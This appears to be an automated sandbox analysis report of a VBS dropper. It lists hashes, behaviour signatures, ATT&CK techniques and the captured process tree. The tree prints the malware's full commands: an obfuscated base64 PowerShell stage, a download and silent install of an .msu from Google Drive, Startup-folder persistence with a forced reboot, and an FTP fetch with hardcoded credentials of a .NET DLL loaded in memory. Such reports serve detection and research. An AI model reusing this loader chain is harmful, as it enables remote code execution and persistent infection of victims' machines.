838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4

General

Target

838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs
Size

562KB
MD5

5d0e059a9d852fbaa853170862b948f7
SHA1

89c0faf4ba6531b3e9c5550f53280e02492c770d
SHA256

838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4
SHA512

9ed84239c4277d19e8ea127282cd06d941293278f90bc25a98ddda2281dce8ce17295617e55216af925db77c78457c4ea10a8f9d24e9ecdfc94aa710f40df7a4
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB:4HY

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2152	powershell.exe
876	powershell.exe
2828	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2152	powershell.exe
876	powershell.exe
2916	powershell.exe
2828	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 2152	2108	WScript.exe	31
PID 2108 wrote to memory of 2152	2108	WScript.exe	31
PID 2108 wrote to memory of 2152	2108	WScript.exe	31
PID 2152 wrote to memory of 876	2152	powershell.exe	33
PID 2152 wrote to memory of 876	2152	powershell.exe	33
PID 2152 wrote to memory of 876	2152	powershell.exe	33
PID 876 wrote to memory of 2916	876	powershell.exe	34
PID 876 wrote to memory of 2916	876	powershell.exe	34
PID 876 wrote to memory of 2916	876	powershell.exe	34
PID 2916 wrote to memory of 2460	2916	powershell.exe	35
PID 2916 wrote to memory of 2460	2916	powershell.exe	35
PID 2916 wrote to memory of 2460	2916	powershell.exe	35
PID 876 wrote to memory of 2828	876	powershell.exe	36
PID 876 wrote to memory of 2828	876	powershell.exe	36
PID 876 wrote to memory of 2828	876	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9уかбDsуかбKQуかбgуかбCkуかбIуかбуかбnуかбGUуかбdQByуかбHQуかбJwуかбgуかбCwуかбIуかбBYуかбFуかбуかбVQB1уかбGgуかбJуかбуかбgуかбCwуかбIуかбуかбnуかбGgуかбdуかбB0уかбHуかбуかбcwуかб6уかбC8уかбLwBmуかбGkуかбcgBlуかбGIуかбYQBzуかбGUуかбcwB0уかбG8уかбcgBhуかбGcуかбZQуかбuуかбGcуかбbwBvуかбGcуかбbуかбBlуかбGEуかбcуかбBpуかбHMуかбLgBjуかбG8уかбbQуかбvуかбHYуかбMуかбуかбvуかбGIуかбLwBkуかбGUуかбcwBjуかбGEуかбcgBnуかбGEуかбcwуかбtуかбGQуかбYwуかб0уかбGQуかбNgуかбuуかбGEуかбcуかбBwуかбHMуかбcуかбBvуかбHQуかбLgBjуかбG8уかбbQуかбvуかбG8уかбLwBlуかбG4уかбdgBpуかбG8уかбcwуかбtуかбG4уかбdQBlуかбHYуかбbwBzуかбC4уかбdуかбB4уかбHQуかбPwBhуかбGwуかбdуかбуかб9уかбG0уかбZQBkуかбGkуかбYQуかбmуかбHQуかбbwBrуかбGUуかбbgуかб9уかбGMуかбZQуかб2уかбDkуかбMуかбBhуかбDYуかбMуかбуかбtуかбDcуかбOуかбBlуかбGIуかбLQуかб0уかбDуかбуかбMQBiуかбC0уかбYgBmуかбGMуかбNgуかбtуかбDEуかбZуかбBjуかбDgуかбMgуかб1уかбGUуかбMQуかб5уかбDQуかбYgуかбyуかбCcуかбIуかбуかбoуかбCуかбуかбXQBdуかбFsуかбdуかбBjуかбGUуかбagBiуかбG8уかбWwуかбgуかбCwуかбIуかбBsуかбGwуかбdQBuуかбCQуかбIуかбуかбoуかбGUуかбawBvуかбHYуかбbgBJуかбC4уかбKQуかбgуかбCcуかбSQBWуかбEYуかбcgBwуかбCcуかбIуかбуかбoуかбGQуかбbwBoуかбHQуかбZQBNуかбHQуかбZQBHуかбC4уかбKQуかбnуかбDEуかбcwBzуかбGEуかбbуかбBDуかбC4уかбMwB5уかбHIуかбYQByуかбGIуかбaQBMуかбHMуかбcwBhуかбGwуかбQwуかбnуかбCgуかбZQBwуかбHkуかбVуかбB0уかбGUуかбRwуかбuуかбCkуかбIуかбBaуかбGMуかбQgBjуかбGEуかбJуかбуかбgуかбCgуかбZуかбBhуかбG8уかбTуかбуかбuуかбG4уかбaQBhуかбG0уかбbwBEуかбHQуかбbgBlуかбHIуかбcgB1уかбEMуかбOgуかб6уかбF0уかбbgBpуかбGEуかбbQBvуかбEQуかбcуかбBwуかбEEуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбDsуかбKQуかбgуかбCkуかбIуかбуかбnуかбEEуかбJwуかбgуかбCwуかбIуかбуかбnуかбJMhOgCTIScуかбIуかбуかбoуかбGUуかбYwBhуかбGwуかбcуかбBlуかбFIуかбLgBnуかбFMуかбegBDуかбEIуかбbуかбуかбkуかбCуかбуかбKуかбBnуかбG4уかбaQByуかбHQуかбUwуかб0уかбDYуかбZQBzуかбGEуかбQgBtуかбG8уかбcgBGуかбDoуかбOgBdуかбHQуかбcgBlуかбHYуかбbgBvуかбEMуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбCуかбуかбPQуかбgуかбFoуかбYwBCуかбGMуかбYQуかбkуかбCуかбуかбXQBdуかбFsуかбZQB0уかбHkуかбQgBbуかбDsуかбJwуかбlуかбEkуかбaуかбBxуかбFIуかбWуかбуかбlуかбCcуかбIуかбуかб9уかбCуかбуかбWуかбBQуかбFUуかбdQBoуかбCQуかбOwуかбpуかбCуかбуかбZwBTуかбHoуかбQwBCуかбGwуかбJуかбуかбgуかбCgуかбZwBuуかбGkуかбcgB0уかбFMуかбZуかбBhуかбG8уかбbуかбBuуかбHcуかбbwBEуかбC4уかбegB0уかбHgуかбaуかбуかбkуかбCуかбуかбPQуかбgуかбGcуかбUwB6уかбEMуかбQgBsуかбCQуかбOwуかб4уかбEYуかбVуかбBVуかбDoуかбOgBdуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHQуかбeуかбBlуかбFQуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбCуかбуかбPQуかбgуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHoуかбdуかбB4уかбGgуかбJуかбуかб7уかбCkуかбdуかбBuуかбGUуかбaQBsуかбEMуかбYgBlуかбFcуかбLgB0уかбGUуかбTgуかбgуかбHQуかбYwBlуかбGoуかбYgBPуかбC0уかбdwBlуかбE4уかбKуかбуかбgуかбD0уかбIуかбB6уかбHQуかбeуかбBoуかбCQуかбOwуかбpуかбCgуかбZQBzуかбG8уかбcуかбBzуかбGkуかбZуかбуかбuуかбHoуかбdуかбB4уかбGgуかбJуかбуかб7уかбCkуかбIуかбуかбnуかбHQуかбeуかбB0уかбC4уかбMQуかбwуかбEwуかбTуかбBEуかбC8уかбMQуかбwуかбC8уかбcgBlуかбHQуかбcуかбB5уかбHIуかбYwBwуかбFUуかбLwByуかбGIуかбLgBtуかбG8уかбYwуかбuуかбHQуかбYQByуかбGIуかбdgBrуかбGMуかбcwBlуかбGQуかбLgBwуかбHQуかбZgBуかбуかбDEуかбdуかбBhуかбHIуかбYgB2уかбGsуかбYwBzуかбGUуかбZуかбуかбvуかбC8уかбOgBwуかбHQуかбZgуかбnуかбCуかбуかбKуかбBnуかбG4уかбaQByуかбHQуかбUwBkуかбGEуかбbwBsуかбG4уかбdwBvуかбEQуかбLgB6уかбHQуかбeуかбBoуかбCQуかбIуかбуかб9уかбCуかбуかбZwBTуかбHoуかбQwBCуかбGwуかбJуかбуかб7уかбCkуかбJwBуかбуかбEуかбуかбcуかбBKуかбDgуかбNwуかб1уかбDEуかбMgBvуかбHIуかбcуかбByуかбGUуかбcуかбBvуかбGwуかбZQB2уかбGUуかбZуかбуかбnуかбCwуかбKQуかбpуかбDkуかбNуかбуかбsуかбDYуかбMQуかбxуかбCwуかбNwуかб5уかбCwуかбNуかбуかбxуかбDEуかбLуかбуかб4уかбDkуかбLуかбуかб4уかбDEуかбMQуかбsуかбDcуかбMуかбуかбxуかбCwуかбOQуかб5уかбCwуかбNQуかбxуかбDEуかбLуかбуかбxуかбDуかбуかбMQуかбsуかбDуかбуかбMуかбуかбxуかбCgуかбXQBdуかбFsуかбcgBhуかбGgуかбYwBbуかбCуかбуかбbgBpуかбG8уかбagуかбtуかбCgуかбKуかбBsуかбGEуかбaQB0уかбG4уかбZQBkуかбGUуかбcgBDуかбGsуかбcgBvуかбHcуかбdуかбBlуかбE4уかбLgB0уかбGUуかбTgуかбuуかбG0уかбZQB0уかбHMуかбeQBTуかбCуかбуかбdуかбBjуかбGUуかбagBiуかбG8уかбLQB3уかбGUуかбbgуかбgуかбD0уかбIуかбBzуかбGwуかбYQBpуかбHQуかбbgBlуかбGQуかбZQByуかбEMуかбLgB6уかбHQуかбeуかбBoуかбCQуかбOwуかб4уかбEYуかбVуかбBVуかбDoуかбOgBdуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHQуかбeуかбBlуかбFQуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбCуかбуかбPQуかбgуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHoуかбdуかбB4уかбGgуかбJуかбуかб7уかбCkуかбdуかбBuуかбGUуかбaQBsуかбEMуかбYgBlуかбFcуかбLgB0уかбGUуかбTgуかбgуかбHQуかбYwBlуかбGoуかбYgBPуかбC0уかбdwBlуかбE4уかбKуかбуかбgуかбD0уかбIуかбB6уかбHQуかбeуかбBoуかбCQуかбOwBnуかбFMуかбegBDуかбEIуかбbуかбуかбkуかбDsуかбMgуかбxуかбHMуかбbуかбBUуかбDoуかбOgBdуかбGUуかбcуかбB5уかбFQуかбbуかбBvуかбGMуかбbwB0уかбG8уかбcgBQуかбHkуかбdуかбBpуかбHIуかбdQBjуかбGUуかбUwуかбuуかбHQуかбZQBOуかбC4уかбbQBlуかбHQуかбcwB5уかбFMуかбWwуかбgуかбD0уかбIуかбBsуかбG8уかбYwBvуかбHQуかбbwByуかбFуかбуかбeQB0уかбGkуかбcgB1уかбGMуかбZQBTуかбDoуかбOgBdуかбHIуかбZQBnуかбGEуかбbgBhуかбE0уかбdуかбBuуかбGkуかбbwBQуかбGUуかбYwBpуかбHYуかбcgBlуかбFMуかбLgB0уかбGUуかбTgуかбuуかбG0уかбZQB0уかбHMуかбeQBTуかбFsуかбOwB9уかбGUуかбdQByуかбHQуかбJуかбB7уかбCуかбуかбPQуかбgуかбGsуかбYwBhуかбGIуかбbуかбBsуかбGEуかбQwBuуかбG8уかбaQB0уかбGEуかбZуかбBpуかбGwуかбYQBWуかбGUуかбdуかбBhуかбGMуかбaQBmуかбGkуかбdуかбByуかбGUуかбQwByуかбGUуかбdgByуかбGUуかбUwуかб6уかбDoуかбXQByуかбGUуかбZwBhуかбG4уかбYQBNуかбHQуかбbgBpуかбG8уかбUуかбBlуかбGMуかбaQB2уかбHIуかбZQBTуかбC4уかбdуかбBlуかбE4уかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбHsуかбIуかбBlуかбHMуかбbуかбBlуかбH0уかбIуかбBmуかбC8уかбIуかбуかбwуかбCуかбуかбdуかбуかбvуかбCуかбуかбcgуかбvуかбCуかбуかбZQB4уかбGUуかбLgBuуかбHcуかбbwBkуかбHQуかбdQBoуかбHMуかбIуかбуかб7уかбCcуかбMуかбуかб4уかбDEуかбIуかбBwуかбGUуかбZQBsуかбHMуかбJwуかбgуかбGQуかбbgBhуかбG0уかбbQBvуかбGMуかбLQуかбgуかбGUуかбeуかбBlуかбC4уかбbуかбBsуかбGUуかбaуかбBzуかбHIуかбZQB3уかбG8уかбcуかбуかб7уかбCуかбуかбZQBjуかбHIуかбbwBmуかбC0уかбIуかбуかбpуかбCуかбуかбJwBwуかбHUуかбdуかбByуかбGEуかбdуかбBTуかбFwуかбcwBtуかбGEуかбcgBnуかбG8уかбcgBQуかбFwуかбdQBuуかбGUуかбTQуかбgуかбHQуかбcgBhуかбHQуかбUwBcуかбHMуかбdwBvуかбGQуかбbgBpуかбFcуかбXуかбB0уかбGYуかбbwBzуかбG8уかбcgBjуかбGkуかбTQBcуかбGcуかбbgBpуかбG0уかбYQBvуかбFIуかбXуかбBhуかбHQуかбYQBEуかбHуかбуかбcуかбBBуかбFwуかбJwуかбgуかбCsуかбIуかбBaуかбEsуかбbgBZуかбE0уかбJуかбуかбgуかбCgуかбIуかбBuуかбG8уかбaQB0уかбGEуかбbgBpуかбHQуかбcwBlуかбEQуかбLQуかбgуかбCcуかбJQBJуかбGgуかбcQBSуかбFgуかбJQуかбnуかбCуかбуかбbQBlуかбHQуかбSQуかбtуかбHkуかбcуかбBvуかбEMуかбIуかбуかб7уかбCуかбуかбdуかбByуかбGEуかбdуかбBzуかбGUуかбcgBvуかбG4уかбLwуかбgуかбHQуかбZQBpуかбHUуかбcQуかбvуかбCуかбуかбRwBjуかбFcуかбaQBSуかбCуかбуかбZQB4уかбGUуかбLgBhуかбHMуかбdQB3уかбCуかбуかбZQB4уかбGUуかбLgBsуかбGwуかбZQBoуかбHMуかбcgBlуかбHcуかбbwBwуかбCуかбуかбOwуかбpуかбCcуかбdQBzуかбG0уかбLgBuуかбGkуかбdwBwуかбFUуかбXуかбуかбnуかбCуかбуかбKwуかбgуかбE4уかбSgBUуかбHgуかбRуかбуかбkуかбCgуかбIуかбуかб9уかбCуかбуかбRwBjуかбFcуかбaQBSуかбDsуかбKQуかбgуかбGUуかбbQBhуかбE4уかбcgBlуかбHMуかбVQуかб6уかбDoуかбXQB0уかбG4уかбZQBtуかбG4уかбbwByуかбGkуかбdgBuуかбEUуかбWwуかбgуかбCsуかбIуかбуかбnуかбFwуかбcwByуかбGUуかбcwBVуかбFwуかбOgBDуかбCcуかбKуかбуかбgуかбD0уかбIуかбBaуかбEsуかбbgBZуかбE0уかбJуかбуかб7уかбCkуかбJwB1уかбHMуかбbQуかбuуかбG4уかбaQB3уかбHуかбуかбVQBcуかбCcуかбIуかбуかбrуかбCуかбуかбTgBKуかбFQуかбeуかбBEуかбCQуかбIуかбуかбsуかбEIуかбSwBMуかбFIуかбVQуかбkуかбCgуかбZQBsуかбGkуかбRgBkуかбGEуかбbwBsуかбG4уかбdwBvуかбEQуかбLgBuуかбEoуかбeQBWуかбGoуかбJуかбуかб7уかбDgуかбRgBUуかбFUуかбOgуかб6уかбF0уかбZwBuуかбGkуかбZуかбBvуかбGMуかбbgBFуかбC4уかбdуかбB4уかбGUуかбVуかбуかбuуかбG0уかбZQB0уかбHMуかбeQBTуかбFsуかбIуかбуかб9уかбCуかбуかбZwBuуかбGkуかбZуかбBvуかбGMуかбbgBFуかбC4уかбbgBKуかбHkуかбVgBqуかбCQуかбOwуかбpуかбHQуかбbgBlуかбGkуかбbуかбBDуかбGIуかбZQBXуかбC4уかбdуかбBlуかбE4уかбIуかбB0уかбGMуかбZQBqуかбGIуかбTwуかбtуかбHcуかбZQBOуかбCgуかбIуかбуかб9уかбCуかбуかбbgBKуかбHkуかбVgBqуかбCQуかбOwB9уかбDsуかбIуかбуかбpуかбCcуかбdуかбBPуかбEwуかбYwBfуかбEsуかбYQуかбzуかбFoуかбZgBvуかбFgуかбMgBKуかбEoуかбcgBWуかбGgуかбbQBWуかбDkуかбYwBtуかбDkуかбWуかбBzуかбHUуかбWуかбBtуかбGoуかбMQBnуかбDEуかбJwуかбgуかбCsуかбIуかбBvуかбHgуかбSwBVуかбGcуかбJуかбуかбoуかбCуかбуかбPQуかбgуかбG8уかбeуかбBLуかбFUуかбZwуかбkуかбHsуかбIуかбBlуかбHMуかбbуかбBlуかбH0уかбOwуかбgуかбCkуかбJwуかбyуかбDQуかбdQBYуかбEoуかбVуかбBxуかбGEуかбbQBnуかбHkуかбTQB0уかбEYуかбegBhуかбGsуかбUуかбBSуかбDEуかбcQBfуかбEkуかбdgBHуかбGkуかбWуかбBOуかбGQуかбcQBhуかбE4уかбMQуかбnуかбCуかбуかбKwуかбgуかбG8уかбeуかбBLуかбFUуかбZwуかбkуかбCgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBVуかбGcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABQAGIAbgBFAFoAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABQAGIAbgBFAFoAJAAgADsA';$kahlN = $qKKzc.replace('уかб' , 'A') ;$vQpeD = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $vQpeD = $vQpeD[-1..-$vQpeD.Length] -join '';$vQpeD = $vQpeD.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs');powershell $vQpeD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $ZEnbP = $host.Version.Major.Equals(2) ;if ( $ZEnbP ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$jVyJn = (New-Object Net.WebClient);$jVyJn.Encoding = [System.Text.Encoding]::UTF8;$jVyJn.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$hxtz = (New-Object Net.WebClient);$hxtz.Encoding = [System.Text.Encoding]::UTF8;$hxtz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $hxtz.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$hxtz.dispose();$hxtz = (New-Object Net.WebClient);$hxtz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $hxtz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '2b491e528cd1-6cfb-b104-be87-06a096ec=nekot&aidem=tla?txt.soveun-soivne/o/moc.topsppa.6d4cd-sagracsed/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe RiWcG /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2916
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" RiWcG /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:2460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
72465c6ea6935718bcea36fbe21b27f5

SHA1
c24f516f5b01dff9f9550a5429d31588487f29d4

SHA256
e3b7c93beecc900687358c7fdf6d354dc18f326903b9d19c23bf2aa4b327792a

SHA512
951ba64bcf670b2962d04635e4d68ef43998b74ddd97aac14cd251522a23362fa73aed2c1f857cfdcc67c5f4be1fe203b46ab3240e5fe62f83e273053e166a8b

Download Submit
memory/2152-4-0x000007FEF636E000-0x000007FEF636F000-memory.dmp

Filesize
4KB

Download
memory/2152-6-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2152-5-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2152-7-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2152-13-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2152-26-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2152-27-0x000007FEF636E000-0x000007FEF636F000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing